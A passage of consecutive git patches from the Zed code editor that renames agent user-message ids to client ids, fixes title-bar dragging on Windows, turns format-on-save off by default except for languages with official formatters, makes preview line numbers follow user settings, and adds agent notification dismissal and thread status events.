-    ToolCall, ToolCallContent, ToolCallStatus, UserMessageId,
+    AuthRequired, ClientUserMessageId, LoadError, MaxOutputTokensError, MentionUri,
+    PermissionOptionChoice, PermissionOptions, PermissionPattern, RetryStatus,
+    SelectedPermissionOutcome, ThreadStatus, ToolCall, ToolCallContent, ToolCallStatus,
 };
 use acp_thread::{AgentConnection, Plan};
 use action_log::{ActionLog, ActionLogTelemetry, DiffStats};
@@ -3757,7 +3757,6 @@ pub(crate) mod tests {
 
         fn prompt(
             &self,
-            _id: acp_thread::UserMessageId,
             _params: acp::PromptRequest,
             _cx: &mut App,
         ) -> Task<gpui::Result<acp::PromptResponse>> {
@@ -5204,7 +5203,6 @@ pub(crate) mod tests {
 
         fn prompt(
             &self,
-            _id: acp_thread::UserMessageId,
             _params: acp::PromptRequest,
             _cx: &mut App,
         ) -> Task<gpui::Result<acp::PromptResponse>> {
@@ -5312,7 +5310,6 @@ pub(crate) mod tests {
 
         fn prompt(
             &self,
-            _id: acp_thread::UserMessageId,
             _params: acp::PromptRequest,
             _cx: &mut App,
         ) -> Task<gpui::Result<acp::PromptResponse>> {
@@ -5382,7 +5379,6 @@ pub(crate) mod tests {
 
         fn prompt(
             &self,
-            _id: acp_thread::UserMessageId,
             _params: acp::PromptRequest,
             _cx: &mut App,
         ) -> Task<gpui::Result<acp::PromptResponse>> {
@@ -5498,7 +5494,6 @@ pub(crate) mod tests {
 
         fn prompt(
             &self,
-            _id: acp_thread::UserMessageId,
             _params: acp::PromptRequest,
             _cx: &mut App,
         ) -> Task<gpui::Result<acp::PromptResponse>> {
@@ -5659,7 +5654,7 @@ pub(crate) mod tests {
             let AgentThreadEntry::UserMessage(user_message) = &thread.entries()[2] else {
                 panic!();
             };
-            user_message.id.clone().unwrap()
+            user_message.client_id.clone().unwrap()
         });
 
         conversation_view.read_with(cx, |view, cx| {
@@ -6435,7 +6430,9 @@ pub(crate) mod tests {
                 .find_map(|entry| match entry {
                     AgentThreadEntry::AssistantMessage(message) => {
                         message.chunks.iter().find_map(|chunk| match chunk {
-                            AssistantMessageChunk::Message { block } => block.markdown().cloned(),
+                            AssistantMessageChunk::Message { block, .. } => {
+                                block.markdown().cloned()
+                            }
                             AssistantMessageChunk::Thought { .. } => None,
                         })
                     }
@@ -10078,7 +10075,6 @@ pub(crate) mod tests {
 
         fn prompt(
             &self,
-            _id: acp_thread::UserMessageId,
             _params: acp::PromptRequest,
             _cx: &mut App,
         ) -> Task<gpui::Result<acp::PromptResponse>> {
diff --git a/crates/agent_ui/src/conversation_view/thread_search_bar.rs b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
index 6563046ca1d18e..f936edcd35a064 100644
--- a/crates/agent_ui/src/conversation_view/thread_search_bar.rs
+++ b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
@@ -891,12 +891,12 @@ fn collect_markdowns(
         AgentThreadEntry::AssistantMessage(message) => {
             for (chunk_ix, chunk) in message.chunks.iter().enumerate() {
                 match chunk {
-                    AssistantMessageChunk::Message { block } => {
+                    AssistantMessageChunk::Message { block, .. } => {
                         if let Some(md) = block.markdown() {
                             out.push(md.clone());
                         }
                     }
-                    AssistantMessageChunk::Thought { block }
+                    AssistantMessageChunk::Thought { block, .. }
                         if entry_view_state
                             .thinking_block_state((entry_ix, chunk_ix), cx)
                             .0 =>
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index b60446071d855d..2519d286281fae 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -1211,7 +1211,7 @@ impl ThreadView {
                 if let Some(AgentThreadEntry::UserMessage(user_message)) =
                     self.thread.read(cx).entries().get(event.entry_index)
                     && self.thread.read(cx).supports_truncate(cx)
-                    && user_message.id.is_some()
+                    && user_message.client_id.is_some()
                     && !self.is_subagent()
                 {
                     self.editing_message = Some(event.entry_index);
@@ -1222,7 +1222,7 @@ impl ThreadView {
                 if let Some(AgentThreadEntry::UserMessage(user_message)) =
                     self.thread.read(cx).entries().get(event.entry_index)
                     && self.thread.read(cx).supports_truncate(cx)
-                    && user_message.id.is_some()
+                    && user_message.client_id.is_some()
                     && !self.is_subagent()
                 {
                     if editor.read(cx).text(cx).as_str() == user_message.content.to_markdown(cx) {
@@ -1940,8 +1940,13 @@ impl ThreadView {
         }
         let thread = self.thread.clone();
 
-        let Some(user_message_id) = thread.update(cx, |thread, _| {
-            thread.entries().get(entry_ix)?.user_message()?.id.clone()
+        let Some(client_id) = thread.update(cx, |thread, _| {
+            thread
+                .entries()
+                .get(entry_ix)?
+                .user_message()?
+                .client_id
+                .clone()
         }) else {
             return;
         };
@@ -1977,7 +1982,7 @@ impl ThreadView {
             }
 
             thread
-                .update(cx, |thread, cx| thread.rewind(user_message_id, cx))
+                .update(cx, |thread, cx| thread.rewind(client_id, cx))
                 .await?;
             this.update_in(cx, |thread, window, cx| {
                 cx.emit(AcpThreadViewEvent::Interacted);
@@ -2684,10 +2689,10 @@ impl ThreadView {
 
     // thread stuff
 
-    pub fn restore_checkpoint(&mut self, message_id: &UserMessageId, cx: &mut Context<Self>) {
+    pub fn restore_checkpoint(&mut self, client_id: &ClientUserMessageId, cx: &mut Context<Self>) {
         self.thread
             .update(cx, |thread, cx| {
-                thread.restore_checkpoint(message_id.clone(), cx)
+                thread.restore_checkpoint(client_id.clone(), cx)
             })
             .detach_and_log_err(cx);
     }
@@ -5941,7 +5946,7 @@ impl ThreadView {
 
                 let is_subagent = self.is_subagent();
                 let can_rewind = self.thread.read(cx).supports_truncate(cx);
-                let is_editable = can_rewind && message.id.is_some() && !is_subagent;
+                let is_editable = can_rewind && message.client_id.is_some() && !is_subagent;
                 let agent_name = if is_subagent {
                     "subagents".into()
                 } else {
@@ -5962,7 +5967,7 @@ impl ThreadView {
                     .gap_1p5()
                     .w_full()
                     .when(is_editable && has_checkpoint_button, |this| {
-                        this.children(message.id.clone().map(|message_id| {
+                        this.children(message.client_id.clone().map(|client_id| {
                             h_flex()
                                 .px_3()
                                 .gap_2()
@@ -5974,7 +5979,7 @@ impl ThreadView {
                                         .color(Color::Muted)
                                         .tooltip(Tooltip::text("Restores all files in the project to the content they had at this point in the conversation."))
                                         .on_click(cx.listener(move |this, _, _window, cx| {
-                                            this.restore_checkpoint(&message_id, cx);
+                                            this.restore_checkpoint(&client_id, cx);
                                         }))
                                 )
                                 .child(Divider::horizontal())
@@ -6112,7 +6117,7 @@ impl ThreadView {
                     .gap_3()
                     .children(chunks.iter().enumerate().filter_map(
                         |(chunk_ix, chunk)| match chunk {
-                            AssistantMessageChunk::Message { block } => {
+                            AssistantMessageChunk::Message { block, .. } => {
                                 block.markdown().and_then(|md| {
                                     let this_is_blank = md.read(cx).source().trim().is_empty();
                                     is_blank = is_blank && this_is_blank;
@@ -6126,7 +6131,7 @@ impl ThreadView {
                                     )
                                 })
                             }
-                            AssistantMessageChunk::Thought { block } => {
+                            AssistantMessageChunk::Thought { block, .. } => {
                                 block.markdown().and_then(|md| {
                                     let this_is_blank = md.read(cx).source().trim().is_empty();
                                     is_blank = is_blank && this_is_blank;
@@ -7098,8 +7103,12 @@ impl ThreadView {
                         .map(|chunks| {
                             chunks.iter().any(|chunk| {
                                 let md = match chunk {
-                                    AssistantMessageChunk::Message { block } => block.markdown(),
-                                    AssistantMessageChunk::Thought { block } => block.markdown(),
+                                    AssistantMessageChunk::Message { block, .. } => {
+                                        block.markdown()
+                                    }
+                                    AssistantMessageChunk::Thought { block, .. } => {
+                                        block.markdown()
+                                    }
                                 };
                                 md.map_or(false, |m| m.read(cx).selected_text().is_some())
                             })
@@ -7109,8 +7118,8 @@ impl ThreadView {
                     let context_menu_link = chunks.and_then(|chunks| {
                         chunks.iter().find_map(|chunk| {
                             let md = match chunk {
-                                AssistantMessageChunk::Message { block } => block.markdown(),
-                                AssistantMessageChunk::Thought { block } => block.markdown(),
+                                AssistantMessageChunk::Message { block, .. } => block.markdown(),
+                                AssistantMessageChunk::Thought { block, .. } => block.markdown(),
                             };
                             md.and_then(|m| m.read(cx).context_menu_link().cloned())
                         })
@@ -7216,7 +7225,7 @@ impl ThreadView {
                         .chunks
                         .iter()
                         .filter_map(|chunk| match chunk {
-                            AssistantMessageChunk::Message { block } => {
+                            AssistantMessageChunk::Message { block, .. } => {
                                 let markdown = block.to_markdown(cx);
                                 if markdown.trim().is_empty() {
                                     None
diff --git a/crates/agent_ui/src/entry_view_state.rs b/crates/agent_ui/src/entry_view_state.rs
index fd1b2867f0baf5..d19a1067baeeea 100644
--- a/crates/agent_ui/src/entry_view_state.rs
+++ b/crates/agent_ui/src/entry_view_state.rs
@@ -235,7 +235,7 @@ impl EntryViewState {
         match thread_entry {
             AgentThreadEntry::UserMessage(message) => {
                 let can_rewind = thread.read(cx).supports_truncate(cx);
-                let has_id = message.id.is_some();
+                let has_client_id = message.client_id.is_some();
                 let is_subagent = thread.read(cx).parent_session_id().is_some();
                 let chunks = message.chunks.clone();
                 if let Some(Entry::UserMessage(editor)) = self.entries.get_mut(index) {
@@ -262,7 +262,7 @@ impl EntryViewState {
                             window,
                             cx,
                         );
-                        if !can_rewind || !has_id || is_subagent {
+                        if !can_rewind || !has_client_id || is_subagent {
                             editor.set_read_only(true, cx);
                         }
                         editor.set_message(chunks, window, cx);
diff --git a/crates/eval_cli/src/main.rs b/crates/eval_cli/src/main.rs
index ef00fc87e2419d..fc8074914c6f38 100644
--- a/crates/eval_cli/src/main.rs
+++ b/crates/eval_cli/src/main.rs
@@ -970,7 +970,7 @@ fn log_acp_thread_event(
             let entries = acp_thread.read(cx).entries();
             if let Some(acp_thread::AgentThreadEntry::AssistantMessage(message)) = entries.last() {
                 for chunk in &message.chunks {
-                    if let acp_thread::AssistantMessageChunk::Message { block } = chunk {
+                    if let acp_thread::AssistantMessageChunk::Message { id: _, block } = chunk {
                         if let acp_thread::ContentBlock::Markdown { markdown } = block {
                             let text = markdown.read(cx).source().to_string();
                             if !text.is_empty() {

From 480796c16875d106ddd0bd573c9baf4681d9f896 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Wojciech=20Mi=C5=82kowski?= <wmilkowski@interia.pl>
Date: Mon, 29 Jun 2026 09:53:45 +0200
Subject: [PATCH 144/772] Fix regression of main window dragging on Windows
 (#59967)

## Summary
This PR fixes the issue with main Zed window which cannot be moved by
dragging the title bar on Windows.

## Root cause

`is_movable: false` was set for macOS but breaks Windows
`crates/zed/src/zed.rs:381` sets `is_movable: false` for the main
window, introduced by commit `ec7c11c65c` (PR #59836) to fix macOS 27
Beta titlebar click delays. The comment says "disable AppKit's titlebar
dragging", but the setting applies to all platforms, including Windows.

## Why it breaks on Windows

On Windows, window dragging relies on `WM_NCHITTEST` returning
`HTCAPTION`, not `start_window_move()` (which is an empty no-op on
Windows - `crates/gpui/src/platform.rs:703`, never overridden in
`gpui_windows`).
The hit test at `crates/gpui_windows/src/events.rs:903-904` gates
`HTCAPTION` on `is_movable`:

```rust
WindowControlArea::Drag if self.is_movable => Some(HTCAPTION as _),
WindowControlArea::Drag => None,
```

Since `is_movable` is false, `HTCAPTION` is never returned, the title
bar is treated as client area (`HTCLIENT`), mouse events go to gpui's
`on_mouse_move` handler
(`crates/platform_title_bar/src/platform_title_bar.rs:218`), which calls
`window.start_window_move()`, which does nothing on Windows.

On macOS this works because `start_window_move()` IS implemented
(`crates/gpui_macos/src/window.rs:1801`, using
`performWindowDragWithEvent`).

## Test
The fix was successfully built and tested on Windows 11 platform.

---

Release Notes:

- N/A
---
 crates/zed/src/zed.rs | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index d4f3d958304e80..7e07e7f0f3fddc 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -377,8 +377,10 @@ pub fn build_window_options(display_uuid: Option<Uuid>, cx: &mut App) -> WindowO
         focus: false,
         show: false,
         kind: WindowKind::Normal,
-        // Zed handles window movement itself, so disable AppKit's titlebar dragging.
-        is_movable: false,
+        // On macOS, Zed handles window movement itself, so disable AppKit's titlebar dragging.
+        // On other platforms, `is_movable` gates native window dragging (e.g. Windows'
+        // `HTCAPTION` hit test), so it must remain `true`.
+        is_movable: cfg!(not(target_os = "macos")),
         display_id: display.map(|display| display.id()),
         window_background: cx.theme().window_background_appearance(),
         app_id: Some(app_id.to_owned()),

From 76e07d5c9ac38930d051c153b21eeb57ba71cbb4 Mon Sep 17 00:00:00 2001
From: Chris Biscardi <chris@christopherbiscardi.com>
Date: Mon, 29 Jun 2026 00:57:58 -0700
Subject: [PATCH 145/772] Disable format-on-save by default (#59710)

# Objective

Prevent the unexpected modification of files which do not have
established formatting conventions.

Enabling format-on-save by default can cause changes in ecosystems that
don't have established official formatting conventions, or when the
formatting conventions came later through new tools (like JavaScript).

fixes #59427

## Solution

This PR inverts the default, choosing to disable format-on-save by
default, and allowing it to be enabled by users at a global or language
level for any language which has an official formatter. However, any
ecosystem which has an official formatter has been left enabled.

This means languages like Rust, Go, and Zig have `format_on_save`
enabled because they come with official formatting tools, while
JavaScript, C/C++, and Markdown have it disabled by default.

For existing users, this means their custom configurations will stay,
but any values that were previously "default" will be updated.

## Testing

- open a file for the language being tested (ex: `python`)
- formatting should only be enabled if the default for the *language* is
enabled
- formatting can be enabled or disabled at the language level or the
global level in the settings

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Disable format-on-save by default, except for languages with official
formatters
---
 assets/settings/default.json                   | 18 +++++++++++++-----
 .../remote_editing_collaboration_tests.rs      |  4 ++++
 crates/settings/src/settings_file.rs           |  2 ++
 3 files changed, 19 insertions(+), 5 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 8637d3d1b2382b..e4051ee8f02f93 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -1463,7 +1463,7 @@
   "line_ending": "detect",
   // Whether or not to perform a buffer format before saving: [on, off]
   // Keep in mind, if the autosave with delay is enabled, format_on_save will be ignored
-  "format_on_save": "on",
+  "format_on_save": "off",
   // How to perform a buffer format. This setting can take multiple values:
   //
   // 1. Default. Format files using Zed's Prettier integration (if applicable),
@@ -2170,6 +2170,7 @@
   // Different settings for specific languages.
   "languages": {
     "Astro": {
+      "format_on_save": "on",
       "language_servers": ["astro-language-server", "..."],
       "prettier": {
         "allowed": true,
@@ -2182,14 +2183,12 @@
       },
     },
     "C": {
-      "format_on_save": "off",
       "use_on_type_format": false,
       "prettier": {
         "allowed": false,
       },
     },
     "C++": {
-      "format_on_save": "off",
       "use_on_type_format": false,
       "prettier": {
         "allowed": false,
@@ -2204,6 +2203,7 @@
       },
     },
     "Dart": {
+      "format_on_save": "on",
       "tab_size": 2,
     },
     "Diff": {
@@ -2212,12 +2212,15 @@
       "ensure_final_newline_on_save": false,
     },
     "EEx": {
+      "format_on_save": "on",
       "language_servers": ["elixir-ls", "!expert", "!dexter", "!next-ls", "!lexical", "..."],
     },
     "Elixir": {
+      "format_on_save": "on",
       "language_servers": ["elixir-ls", "!expert", "!dexter", "!next-ls", "!lexical", "!emmet-language-server", "..."],
     },
     "Elm": {
+      "format_on_save": "on",
       "tab_size": 4,
     },
     "Erlang": {
@@ -2229,6 +2232,7 @@
       "preferred_line_length": 72,
     },
     "Go": {
+      "format_on_save": "on",
       "hard_tabs": true,
       "code_actions_on_format": {
         "source.organizeImports": true,
@@ -2236,11 +2240,13 @@
       "debuggers": ["Delve"],
     },
     "GraphQL": {
+      "format_on_save": "on",
       "prettier": {
         "allowed": true,
       },
     },
     "HEEx": {
+      "format_on_save": "on",
       "language_servers": ["elixir-ls", "!expert", "!dexter", "!next-ls", "!lexical", "..."],
     },
     "HTML": {
@@ -2277,6 +2283,7 @@
       "language_servers": ["!ruby-lsp", "..."],
     },
     "Kotlin": {
+      "format_on_save": "on",
       "language_servers": ["!kotlin-language-server", "kotlin-lsp", "..."],
     },
     "LaTeX": {
@@ -2288,7 +2295,6 @@
       },
     },
     "Markdown": {
-      "format_on_save": "off",
       "use_on_type_format": false,
       "remove_trailing_whitespace_on_save": false,
       "allow_rewrap": "anywhere",
@@ -2343,6 +2349,7 @@
       ],
     },
     "Rust": {
+      "format_on_save": "on",
       "debuggers": ["CodeLLDB"],
     },
     "SCSS": {
@@ -2351,6 +2358,7 @@
       },
     },
     "Starlark": {
+      "format_on_save": "on",
       "language_servers": ["starpls", "!buck2-lsp", "!tilt", "..."],
     },
     "Svelte": {
@@ -2378,7 +2386,6 @@
       },
     },
     "SystemVerilog": {
-      "format_on_save": "off",
       "language_servers": ["!slang", "..."],
       "use_on_type_format": false,
     },
@@ -2403,6 +2410,7 @@
       "language_servers": ["!ruby-lsp", "..."],
     },
     "Zig": {
+      "format_on_save": "on",
       "language_servers": ["zls", "..."],
     },
   },
diff --git a/crates/collab/tests/integration/remote_editing_collaboration_tests.rs b/crates/collab/tests/integration/remote_editing_collaboration_tests.rs
index 87784b6328149d..d5552c5f11dc0d 100644
--- a/crates/collab/tests/integration/remote_editing_collaboration_tests.rs
+++ b/crates/collab/tests/integration/remote_editing_collaboration_tests.rs
@@ -752,6 +752,8 @@ async fn test_ssh_collaboration_formatting_with_prettier(
     cx_a.update(|cx| {
         SettingsStore::update_global(cx, |store, cx| {
             store.update_user_settings(cx, |file| {
+                file.project.all_languages.defaults.format_on_save =
+                    Some(settings::FormatOnSave::On);
                 file.project.all_languages.defaults.formatter = Some(FormatterList::default());
                 file.project.all_languages.defaults.prettier = Some(PrettierSettingsContent {
                     allowed: Some(true),
@@ -763,6 +765,8 @@ async fn test_ssh_collaboration_formatting_with_prettier(
     cx_b.update(|cx| {
         SettingsStore::update_global(cx, |store, cx| {
             store.update_user_settings(cx, |file| {
+                file.project.all_languages.defaults.format_on_save =
+                    Some(settings::FormatOnSave::On);
                 file.project.all_languages.defaults.formatter = Some(FormatterList::Single(
                     Formatter::LanguageServer(LanguageServerFormatterSpecifier::Current),
                 ));
diff --git a/crates/settings/src/settings_file.rs b/crates/settings/src/settings_file.rs
index 2ac94c99318211..f1c190cb9c3fb2 100644
--- a/crates/settings/src/settings_file.rs
+++ b/crates/settings/src/settings_file.rs
@@ -133,6 +133,7 @@ pub fn test_settings() -> &'static str {
         #[cfg(not(target_os = "windows"))]
         util::merge_non_null_json_value_into(
             serde_json::json!({
+                "format_on_save": "on",
                 "ui_font_family": "Courier",
                 "ui_font_features": {},
                 "ui_font_size": 14,
@@ -148,6 +149,7 @@ pub fn test_settings() -> &'static str {
         #[cfg(target_os = "windows")]
         util::merge_non_null_json_value_into(
             serde_json::json!({
+                "format_on_save": "on",
                 "ui_font_family": "Courier New",
                 "ui_font_features": {},
                 "ui_font_size": 14,

From d7b9b28deb7b7fa3a4e594745cb851e4d0180f5a Mon Sep 17 00:00:00 2001
From: Chris Biscardi <chris@christopherbiscardi.com>
Date: Mon, 29 Jun 2026 01:19:22 -0700
Subject: [PATCH 146/772] format on save: javascript docs (#60070)

# Objective

JavaScript docs for default `format-on-save` settings are out of date.

Small docs followup to https://github.com/zed-industries/zed/pull/59710

## Solution

Change docs to say that JavaScript format-on-save is now off by default.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 docs/src/languages/javascript.md | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/docs/src/languages/javascript.md b/docs/src/languages/javascript.md
index 1eb46c63f46714..47511ec713d2d3 100644
--- a/docs/src/languages/javascript.md
+++ b/docs/src/languages/javascript.md
@@ -14,8 +14,24 @@ JavaScript support is available natively in Zed.
 
 ## Code formatting
 
-Formatting on save is enabled by default for JavaScript, using TypeScript's built-in code formatting.
-But many JavaScript projects use other command-line code-formatting tools, such as [Prettier](https://prettier.io/).
+Formatting on save is disabled by default for JavaScript.
+
+To turn `format-on-save` on, you can enable the setting globally or for `JavaScript` or `TypeScript` specifically.
+
+```json [settings]
+{
+  "languages": {
+    "JavaScript": {
+      "format_on_save": "on"
+    },
+    "TypeScript": {
+      "format_on_save": "on"
+    }
+  }
+}
+```
+
+Many JavaScript projects use command-line code-formatting tools, such as [Prettier](https://prettier.io/).
 You can use one of these tools by specifying an _external_ code formatter for JavaScript in your settings.
 See [the configuration docs](../reference/all-settings.md) for more information.
 

From 2bb81ba8f3a568a1793a9a8ba844c0c6c2e1dfb3 Mon Sep 17 00:00:00 2001
From: Aleksei Gusev <aleksei.gusev@gmail.com>
Date: Mon, 29 Jun 2026 11:41:41 +0300
Subject: [PATCH 147/772] Only show preview line numbers if enabled by user
 (#59957)

# Objective

- Currently, the file preview pane in pickers forces line numbers and
the editor gutter to always be visible, ignoring user-configured
preferences. This PR ensures the preview component respects the user's
global editor layout settings.

## Solution

- Modified `EditorPreview::new` within `crates/picker/src/preview.rs`.
- Imported `EditorSettings` from the `editor` crate.
- Replaced the hardcoded `true` values for `set_show_gutter` and
`set_show_line_numbers` with the user's active global configuration
retrieved via `EditorSettings::get_global(cx).gutter.line_numbers`.

## Testing

- Did you test these changes? If so, how?
- Yes, manually verified that toggling line numbers off or using
relative line numbers in `settings.json` is accurately reflected inside
the picker's file preview pane.
- Are there any parts that need more testing?
- No, using the global context lookup seamlessly integrates with Zed's
existing configuration lifecycle.
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
- Open your `settings.json` and change your line number preferences
(e.g., set `"line_numbers": false`).
- Bring up a picker that renders a file preview (like the project search
or file finder).
- Confirm that the preview pane's gutter and line number layout
perfectly matches your active configuration.
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?
  - Tested on Linux.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Click to view showcase</summary>

### Line numbers ON

<img width="1940" height="2072" alt="preview-line-numbers-on"
src="https://github.com/user-attachments/assets/db824b5e-bc29-459d-bc0c-86762d44f707"
/>

### Line numbers OFF

<img width="1940" height="2072" alt="preview-line-numbers-off"
src="https://github.com/user-attachments/assets/48a6357e-d4b5-462b-920f-d1c20d3d27af"
/>

</details>

---

Release Notes:

- Preview line numbers now respect user configuration settings
---
 crates/picker/src/preview.rs | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/crates/picker/src/preview.rs b/crates/picker/src/preview.rs
index cdfd0957f139ab..e529a17d738781 100644
--- a/crates/picker/src/preview.rs
+++ b/crates/picker/src/preview.rs
@@ -2,12 +2,13 @@ use std::ops::Range;
 use std::path::PathBuf;
 use std::sync::Arc;
 
-use editor::{Editor, HighlightKey, MultiBuffer, RowHighlightOptions};
+use editor::{Editor, EditorSettings, HighlightKey, MultiBuffer, RowHighlightOptions};
 use gpui::{App, Task};
 use gpui::{AppContext, Context, Entity, TaskExt, Window};
 use language::{Buffer, HighlightedText, HighlightedTextBuilder, ToPoint};
 use project::Project;
 use rope::Point;
+use settings::Settings;
 use ui::{ActiveTheme, IntoElement, Pixels, px};
 use util::rel_path::RelPath;
 
@@ -148,6 +149,7 @@ impl EditorPreview {
             let capability = language::Capability::ReadWrite; // Later narrowed per buffer
             let multi_buffer = cx.new(|_| MultiBuffer::without_headers(capability));
             let mut editor = Editor::for_multibuffer(multi_buffer, None, window, cx);
+            let editor_settings = EditorSettings::get_global(cx).clone();
 
             // We want editing to happen in the multibuffer not in the modal. The editor acts
             // as one big <send to multibuffer> button.
@@ -159,8 +161,8 @@ impl EditorPreview {
             editor.disable_diagnostics(cx);
             editor.disable_expand_excerpt_buttons(cx);
             editor.disable_mouse_wheel_zoom();
-            editor.set_show_gutter(true, cx); // needed for line numbers
-            editor.set_show_line_numbers(true, cx);
+            editor.set_show_gutter(editor_settings.gutter.line_numbers, cx); // needed for line numbers
+            editor.set_show_line_numbers(editor_settings.gutter.line_numbers, cx);
             editor.set_show_breakpoints(false, cx);
             editor.set_show_bookmarks(false, cx);
             editor.set_show_code_actions(false, cx);

From c57b348ad14e3a048cdd5fa6800b17768ce94ffc Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Mon, 29 Jun 2026 12:04:10 +0300
Subject: [PATCH 148/772] Make Esc dismiss agent notifications (#60001)

https://github.com/user-attachments/assets/794334dd-9f57-4ed3-bdaf-731b8691fa38


Release Notes:

- Made `Esc` dismiss agent notifications
---
 crates/agent_ui/src/agent_panel.rs       | 28 +++++++++++++++++++++++-
 crates/agent_ui/src/conversation_view.rs |  4 +++-
 2 files changed, 30 insertions(+), 2 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index e8328ffc25deea..a26d2c652eb086 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -739,7 +739,17 @@ pub fn init(cx: &mut App) {
                             });
                         });
                     },
-                );
+                )
+                .register_action(|workspace, _: &menu::Cancel, _window, cx| {
+                    if let Some(panel) = workspace.panel::<AgentPanel>(cx) {
+                        let dismissed =
+                            panel.update(cx, |panel, cx| panel.dismiss_all_notifications(cx));
+                        if dismissed {
+                            return;
+                        }
+                    }
+                    cx.propagate();
+                });
         },
     )
     .detach();
@@ -2774,6 +2784,22 @@ impl AgentPanel {
         }
     }
 
+    pub fn dismiss_all_notifications(&mut self, cx: &mut Context<Self>) -> bool {
+        let mut dismissed = false;
+        for conversation_view in self.conversation_views() {
+            dismissed |= conversation_view.update(cx, |view, cx| view.dismiss_notifications(cx));
+        }
+        let had_terminal_notifications = self
+            .terminals
+            .values()
+            .any(|t| !t.notification_windows.is_empty());
+        if had_terminal_notifications {
+            self.dismiss_all_terminal_notifications(cx);
+            dismissed = true;
+        }
+        dismissed
+    }
+
     fn active_terminal_visible(&self, terminal_id: TerminalId, window: &Window, cx: &App) -> bool {
         if !window.is_window_active() {
             return false;
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index cb5058e955080d..50d45fbaba6052 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -2668,7 +2668,8 @@ impl ConversationView {
         }
     }
 
-    fn dismiss_notifications(&mut self, cx: &mut Context<Self>) {
+    pub(crate) fn dismiss_notifications(&mut self, cx: &mut Context<Self>) -> bool {
+        let had_notifications = !self.notifications.is_empty();
         for window in self.notifications.drain(..) {
             window
                 .update(cx, |_, window, _| {
@@ -2678,6 +2679,7 @@ impl ConversationView {
 
             self.notification_subscriptions.remove(&window);
         }
+        had_notifications
     }
 
     fn agent_ui_font_size_changed(&mut self, _window: &mut Window, cx: &mut Context<Self>) {

From c3a4bda331831aa5bcde791bb49137ef8bd1d77f Mon Sep 17 00:00:00 2001
From: David Scarpetti <dscarpetti@gmail.com>
Date: Mon, 29 Jun 2026 03:28:21 -0600
Subject: [PATCH 149/772] Emit agent thread status change events (#60057)

# Objective

Fix unreliable working/status indicators for ACP agent threads.

ACP threads update their internal running state when a turn starts,
completes, or is canceled, but those status-only changes were not being
emitted as thread events. The agent UI could miss transitions unless
another entry-related event happened nearby, making it particularly hard
to monitor the status of multiple agent threads running at once.

Hope this helps, and thanks for making Zed.

## Solution

- Add an `AcpThreadEvent::StatusChanged` event.
- Emit it when `running_turn` is set, cleared, or canceled.
- Have `ConversationView` handle the event by syncing the active thread
view's generating indicator.
- Treat status changes as UI state only, not root thread metadata
changes.

## Testing

- `cargo check -p sidebar -p project -p git_ui -p workspace`
- Manually verified in a local dev build on macOS that ACP agent
status/working indicators update reliably.

No automated test was added; this changes UI synchronization for ACP
thread status events.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed unreliable working indicators for ACP agent threads.
---
 crates/acp_thread/src/acp_thread.rs      | 4 ++++
 crates/agent_ui/src/agent_diff.rs        | 1 +
 crates/agent_ui/src/conversation_view.rs | 9 +++++++++
 3 files changed, 14 insertions(+)

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 07c6cb092e9268..a7bbdc3a650196 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -1779,6 +1779,7 @@ impl From<&AcpThread> for ActionLogTelemetry {
 
 #[derive(Debug)]
 pub enum AcpThreadEvent {
+    StatusChanged,
     PromptUpdated,
     NewEntry,
     TitleUpdated,
@@ -3268,6 +3269,7 @@ impl AcpThread {
